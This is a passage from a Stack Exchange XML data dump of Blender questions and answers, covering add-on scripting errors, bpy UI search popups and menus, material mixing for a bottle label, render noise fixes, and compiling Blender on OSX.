Mesh, Modifier... any Blender data really.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-04-18T15:50:33.147" LastActivityDate="2014-04-18T15:50:33.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8702" PostTypeId="1" AcceptedAnswerId="8732" CreationDate="2014-04-18T16:05:22.150" Score="8" ViewCount="4857" Body="&lt;p&gt;I'm working on a small &lt;em&gt;post-save-hook&lt;/em&gt;, which is working pretty nicely only if the file is saved first and then the script is loaded later on. If I install my addon from the file and I save the currently opened new blender project I have this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: '_RestrictData' object has no attribute 'filepath'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which comes from the line, where I try to access the filepath data of my blender file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path = bpy.data.filepath&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I remove my script, save the blender file and then readd my script it works again. So basically my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the workaround of this issue?&lt;/strong&gt; Can an already loaded module reload itself? Or is there some other way to do this properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1989" LastActivityDate="2014-04-19T21:46:48.647" Title="AttributeError: '_RestrictData' object has no attribute 'filepath'" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8703" PostTypeId="1" CreationDate="2014-04-18T16:24:01.640" Score="3" ViewCount="285" Body="&lt;p&gt;I like to create my characters in Blender with lots of individual meshes instead of just one large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I am finished, I need just one mesh, as I use the result for gaming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that rigging and posing works fine, but then when I select all meshes and join them.. all binding is gone. (I can re-assign manually, but it takes for ever)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly new to all this, but I can see that the combined mesh has been arranged in vertex groups, so the information is still there..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know a way of re-assigning the meshes vertex groups the way they where before joining all the meshes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or joining while keeping the binding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a bunch!&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2014-04-18T16:24:01.640" Title="Re-assigning the meshes vertex groups the way they where before joining all the meshes" Tags="&lt;mesh&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8704" PostTypeId="2" ParentId="8699" CreationDate="2014-04-18T18:51:18.740" Score="2" Body="&lt;p&gt;This is what I found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;template_ID&lt;/strong&gt; seems to only work with ID types which you can't create without writing C code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;prop_search&lt;/strong&gt; will let you do a search box with a selection dropdown although not the same as the template_ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;template_list&lt;/strong&gt; should be implimented like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.template_list(&quot;UI_UL_list&quot;, '', props, &amp;lt;collection prop&amp;gt;, props, &amp;lt;int prop&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, template_list is large and can't be minimized to a single line. So one might need trigger an event after the item is chosen to hide that ui element.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastActivityDate="2014-04-18T18:51:18.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8705" PostTypeId="2" ParentId="8702" CreationDate="2014-04-18T20:41:53.513" Score="2" Body="&lt;p&gt;The _RestrictData object indicates that you were trying to access stuff in bpy.data.(...) before ( blender is ready )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the technical details but I know that it happens during startup if you access bpy.data prior to register()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time blender reads the script is just to gather bl_info and make sure that register() is defined in the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this reading of the file, blender may have other scripts to scan and so it moves on to scan the rest of the files in addons/startup...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, after that, if the addon is to be enabled, blender calls the script's register() ––&gt; and from there it is usually safe to go for bpy.data.(...) or bpy.context.(...)&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-18T20:41:53.513" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8706" PostTypeId="1" AcceptedAnswerId="8707" CreationDate="2014-04-18T21:03:05.273" Score="14" ViewCount="6934" Body="&lt;p&gt;I am trying to put a label over the transparent plastic bottle, but i was unable to do so, because when i build the bottle material(plastic) and mix it with the diffuse shader(using the label texture), the label gets faded. So the solution i found was to duplicate the bottle and scale a little bit and apply the label material on it. So it looks its the same material, but in reality its one material over the other. How can I make my plastic material be under my label material(image)? Here's how it looks:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/M1lTA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my material setting for the plastic bottle:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A3gMf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3086" LastEditorUserId="599" LastEditDate="2016-01-07T20:44:53.147" LastActivityDate="2016-01-07T20:44:53.147" Title="What is the right way to apply an image texture over a glass or plastic material?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8707" PostTypeId="2" ParentId="8706" CreationDate="2014-04-18T21:27:53.807" Score="14" Body="&lt;p&gt;To begin with, the add shader node can only be used to add shader/closure outputs (green sockets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ia7V3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With invalid input, the output of the add shader node will always be 0.&#xA;To add values (grey sockets), use a &lt;em&gt;Math node&lt;/em&gt; (&lt;em&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&gt; Converter &gt; Math&lt;/em&gt;) instead.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that plastics do refract light, so a glass node will probably do just fine for the plastic material (if you were using the transparent node to reduce noise/render time, you might be better off with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Reducing_Noise#Glass_and_Transparent_Shadows&quot; rel=&quot;nofollow noreferrer&quot;&gt;fake glass setup&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for mixing, you need to use a black and white stencil (in this case the alpha channel is perfect, but this will not always be the case) as the mix factor (I multiplied it with the output of &lt;a href=&quot;https://blender.stackexchange.com/a/1272/599&quot;&gt;this node group&lt;/a&gt; to remove the tiled repetitions of the image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XweY8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup (click for higher resolution):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h8P3l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8P3l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uffbK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-04-19T01:18:31.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8708" PostTypeId="1" CreationDate="2014-04-18T22:22:57.903" Score="9" ViewCount="73391" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LW1iD.png&quot; alt=&quot;The light particles I need to fix&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of those little white dots? I am using Blender 2.70a.&lt;/p&gt;&#xA;" OwnerUserId="3189" LastEditorUserId="2217" LastEditDate="2014-04-20T21:17:04.220" LastActivityDate="2018-09-03T12:01:55.993" Title="Why does my final render image have white particles all over the lighting area?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ClosedDate="2017-07-15T18:07:52.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="8709" PostTypeId="2" ParentId="8708" CreationDate="2014-04-18T22:25:33.293" Score="1" Body="&lt;h2&gt;Increase Render Samples&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are using Blender Internal in an older version of Blender, the Render Sample settings are found in the Render panel in the Integrator section:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cF5Ip.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Cycles, you can simply increase the Samples in the Samples section of the Render panel: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JwnBb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Experiment with settings of 50, 100, 200 etc. and see which produces the best effect for you.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-18T22:50:25.713" LastActivityDate="2014-04-18T22:50:25.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8710" PostTypeId="1" CreationDate="2014-04-18T22:53:56.010" Score="1" ViewCount="1384" Body="&lt;p&gt;As it says on the can, How to compile Blender from source on OSX?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jens Werwiebe from #blendercoders on the IRC channel kindly took me through the process, so I will post it up while it is still fresh in my memory.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="29301" LastEditDate="2018-10-28T20:27:09.430" LastActivityDate="2018-10-28T20:27:09.430" Title="How to compile Blender from source on OSX?" Tags="&lt;installation&gt;&lt;osx&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ClosedDate="2014-04-19T17:13:50.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="8711" PostTypeId="2" ParentId="8710" CreationDate="2014-04-18T22:54:09.187" Score="3" Body="&lt;p&gt;The Blender documentation page &lt;a href=&quot;https://wiki.blender.org/wiki/Building_Blender/Mac&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.blender.org/wiki/Building_Blender/Mac&lt;/a&gt; contains instructions on how you can compile Blender for a Mac machine. &lt;strong&gt;Note&lt;/strong&gt; that the instructions below &lt;strong&gt;might not be as accurate&lt;/strong&gt; anymore since lots of things might have changed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But they don't quite work. When you get to the line &quot;make&quot;, make fails, because the CLANG compiler that comes with XCode can't process &quot;openMP&quot; library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you need to use a specially built version of CLANG that DOES support openMP. (openMP pertains to threading on multiprocessor architectures, if you're curious. It is bad of Apple that their CLANG compilers behind with this.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from that page, you pull the blender source code from git, and a bunch of already compiled binaries from SVN.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;piBookAir:darwin-9.x.universal pi$ pwd&#xA;/Users/pi/Dev/Blender/blender-build/lib/darwin-9.x.universal&#xA;&#xA;piBookAir:darwin-9.x.universal pi$ ls&#xA;README      freetype    opencollada osl     sdl&#xA;boost       gettext     opencolorio png     sndfile&#xA;clang-omp   jpeg        openexr     python      tiff&#xA;ffmpeg      llvm        openimageio release&#xA;fftw3       openal      openmp      samplerate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see from the listing, it contains this special clang-omp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could probably make sure that that is getting found in your path before the existing CLANG, and it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried, because Jens showed me how to get it working using SCons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SCons and CMake are two different ways of automating the process of setting up the build. if you're familiar with AutoTools, you can think of CMake as being AutoTools brought up to date in a way that works nicely on Windows systems also. And SCons does the same thing but using Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the big difference is that CMake is an actual program you have to download and install on your system, whereas SCons is just a Python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me that makes SCons a clear winner, and it is indeed painless to do it this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, create /pathto/blender-build/blender/user-config.py as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CC = '../lib/darwin-9.x.universal/clang-omp/bin/clang'&#xA;CXX = '../lib/darwin-9.x.universal/clang-omp/bin/clang++'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sysctl hw.logicalcpu &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to find out how many CPUs new machine has (my MacBook Air has 4, a modern MacBook Pro has 12)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /pathto/blender-build/blender&#xA;python scons/scons.py -j4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And grab a cup of tea (or 4 if you forgot the -j4 parameter)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/pathto/blender-build/install/darwin/blender.app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="29301" LastEditDate="2018-10-28T20:27:00.820" LastActivityDate="2018-10-28T20:27:00.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8712" PostTypeId="2" ParentId="8699" CreationDate="2014-04-18T23:12:23.753" Score="10" Body="&lt;p&gt;To let the user explicitly select an item from a large set, I discourage a template_list - although there's a search filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Instead, I recommend the search popup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;def item_cb(self, context):&#xA;    return [(str(i), &quot;Item %i&quot; % i, &quot;&quot;) for i in range(100)]&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;    bl_property = &quot;my_enum&quot;&#xA;&#xA;    my_enum = bpy.props.EnumProperty(items=item_cb)&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, &quot;Selected: %s&quot; % self.my_enum)&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        wm.invoke_search_popup(self)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.simple_operator('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Or nested menus if there's some kind of hierarical structure in your data. The example uses dynamically-created menus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.report&quot;&#xA;    bl_label = &quot;Report&quot;&#xA;&#xA;    text = bpy.props.StringProperty()&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.text)&#xA;        return {'FINISHED'}&#xA;&#xA;class SimpleCustomMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Simple Custom Menu&quot;&#xA;    bl_idname = &quot;OBJECT_MT_simple_custom_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        for i in range(6):&#xA;            layout.menu(&quot;OBJECT_MT_dyn_%d&quot; % i)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleCustomMenu)&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleCustomMenu)&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;&#xA;    for i in range(6):&#xA;        idname = &quot;OBJECT_MT_dyn_%d&quot; % i&#xA;&#xA;        def func(self, context):&#xA;            self.layout.label(&quot;Parent: &quot; + self.bl_label)&#xA;            for j in range(10):&#xA;                option_text = &quot;Option %i&quot; % j&#xA;                props = self.layout.operator(SimpleOperator.bl_idname, text=option_text)&#xA;                props.text = &quot;%s &amp;gt; %s&quot; % (self.bl_label, option_text)&#xA;&#xA;&#xA;        opclass = type(&quot;OBJECT_MT_dyn_%d&quot; % i,&#xA;                       (bpy.types.Menu, ),&#xA;                       {&quot;bl_idname&quot;: idname, &quot;bl_label&quot;: &quot;Test %i&quot; % i, &quot;draw&quot;: func},&#xA;                       )&#xA;        bpy.utils.register_class(opclass)&#xA;&#xA;    # The menu can also be called from scripts&#xA;    bpy.ops.wm.call_menu(name=SimpleCustomMenu.bl_idname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; A &lt;code&gt;template_list()&lt;/code&gt; can be used to show a single line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.template_list(..., rows=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can force the built-in filter options to always show in the UIList subclass:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;    self.use_filter_show = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Something hand-crafted: a &lt;code&gt;StringProperty&lt;/code&gt; for a search phrase and as many buttons as there are matches. The number of matches should be limited (hard-limited in below code), you could implement pagination if necessary. You make make the layout adapt to the panel width if you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;vowels = [&quot;a&quot;, &quot;e&quot;, &quot;i&quot;, &quot;o&quot;, &quot;u&quot;]&#xA;&#xA;def fake_words():&#xA;    words = []&#xA;    for w in range(random.randint(1, 3)):&#xA;        for i, l in enumerate(range(random.randint(2, 7))):&#xA;            if i % 2 == 0:&#xA;                words.append(vowels[random.randrange(len(vowels))])&#xA;            else:&#xA;                words.append(chr(random.randint(97, 122)))&#xA;        words.append(&quot; &quot;)&#xA;    return &quot;&quot;.join(words).title()&#xA;&#xA;wordlist = [fake_words() for i in range(1000)]&#xA;&#xA;class ReportSelected(bpy.types.Operator):&#xA;    bl_label = &quot;Report&quot;&#xA;    bl_idname = &quot;wm.report_selected&quot;&#xA;&#xA;    text = bpy.props.StringProperty()&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.text)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        wm = context.window_manager&#xA;        search_phrase = wm.custom_search&#xA;        cols = context.region.width // 100&#xA;        matches_per_col = 10&#xA;        matches_max = matches_per_col * cols&#xA;&#xA;        layout.prop(context.window_manager, &quot;custom_search&quot;, text=&quot;&quot;, icon=&quot;VIEWZOOM&quot;)&#xA;&#xA;        matches = [w for w in wordlist if search_phrase.lower() in w.lower()]&#xA;&#xA;        col = layout.column(True)&#xA;&#xA;        for i, w in enumerate(matches):&#xA;            if i &amp;gt;= matches_max:&#xA;                break&#xA;&#xA;            if i % cols == 0:&#xA;                row = col.row(True)&#xA;&#xA;            row.operator(&quot;wm.report_selected&quot;, text=w).text = w&#xA;&#xA;        matches_more = len(matches) - matches_max&#xA;        if matches_more &amp;gt; 0:&#xA;            layout.label(&quot;+ %i matches&quot; % matches_more)&#xA;&#xA;def register():&#xA;    bpy.types.WindowManager.custom_search = bpy.props.StringProperty()&#xA;    bpy.utils.register_class(HelloWorldPanel)&#xA;    bpy.utils.register_class(ReportSelected)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorldPanel)&#xA;    bpy.utils.unregister_class(ReportSelected)&#xA;    del bpy.types.WindowManager.custom_search&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can think of many more solutions, like a grid of buttons with a letter of the alphabet each as a first step, and in the second, show only strings that start with the chosen letter (probably as buttons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or multiple dropdown menus, select a letter or category first, and let the second update based on the first, to show only the relevant entries.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-04-22T23:43:55.483" LastActivityDate="2014-04-22T23:43:55.483" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8713" PostTypeId="2" ParentId="8642" CreationDate="2014-04-18T23:25:05.433" Score="3" Body="&lt;p&gt;I believe the only option is to use a texture preview, which requires an Image and a Texture ID datablock (&lt;code&gt;Texture.image = Image&lt;/code&gt;). It can then be added to the layout by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.template_preview(bpy.data.textures[&quot;Tex&quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there's no control about how it's drawn (not even the vertical size using &lt;code&gt;UILayout.scale_y&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-18T23:25:05.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8714" PostTypeId="1" CreationDate="2014-04-19T00:18:10.083" Score="1" ViewCount="70" Body="&lt;p&gt;I am very new to modeling, and I have been modeling most of the time with subdivison surfaces, which have been working very well. But then when I tried to model a low-poly model, it tended to look very unclean and had a lot of artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bJ12N.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DJzGf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a video where someone was modeling something similar, and his model looks very clean compared to mine, and I am not sure why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there things to look out for when doing low-poly quad modeling?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hPENe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28554&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to .blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="1253" LastEditDate="2014-04-19T02:36:17.070" LastActivityDate="2014-04-19T02:36:17.070" Title="Low-poly model artifacts" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-04-19T17:18:25.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="8715" PostTypeId="1" CreationDate="2014-04-19T00:42:02.220" Score="6" ViewCount="1668" Body="&lt;p&gt;I have created some sparks by following &lt;a href=&quot;http://www.blenderguru.com/videos/how-to-make-sparks/&quot; rel=&quot;nofollow&quot;&gt;this video tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would now like to create a smooth looping animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already altered the start frame for the particle emitter to a decent sized -ve (approx. 80 from memory) so that I'm not starting on frame 1 with zero/minimal particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that some way of seeding the random number will be involved, but I am at a loss how to do that and whatever else would be needed.&lt;/p&gt;&#xA;" OwnerUserId="3168" LastEditorUserId="1253" LastEditDate="2014-04-19T02:36:08.800" LastActivityDate="2014-05-25T20:57:50.897" Title="How can I make a looping animation when dealing with random particles?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8716" PostTypeId="2" ParentId="8708" CreationDate="2014-04-19T00:46:52.330" Score="13" Body="&lt;p&gt;This is noise, which will happen in complex scenes without enough samples.&lt;/p&gt;&#xA;&lt;p&gt;Aside from increasing the number of samples, here are some other things you can try:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Multiple Importance Sample&lt;/em&gt; for the lamp in &lt;em&gt;Properties &amp;gt; Object Data &amp;gt; Lamp&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xyPo3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the &lt;em&gt;Clamp&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Render &amp;gt; Sampling&lt;/em&gt;. Note that &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/Cycles#Various&quot; rel=&quot;noreferrer&quot;&gt;as of 2.70&lt;/a&gt; indirect samples can be clamped separately from direct samples.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the &lt;em&gt;filter glossy&lt;/em&gt; option (also in &lt;em&gt;Render &amp;gt; Light Paths&lt;/em&gt;) if you have rough glossy materials.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are also some tricks you might be able to do with your materials, but it's hard to say what without looking at your file.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Also see these related questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/4980/599&quot;&gt;How to avoid noisy renders in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/2275/599&quot;&gt;What is the Reason Cycles Creates Incorrectly Colored/Firefly Artifact Pixels?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/8152/599&quot;&gt;What is multiple importance sample option&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Reducing_Noise&quot; rel=&quot;noreferrer&quot;&gt;wiki page on reducing noise&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-19T06:36:51.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
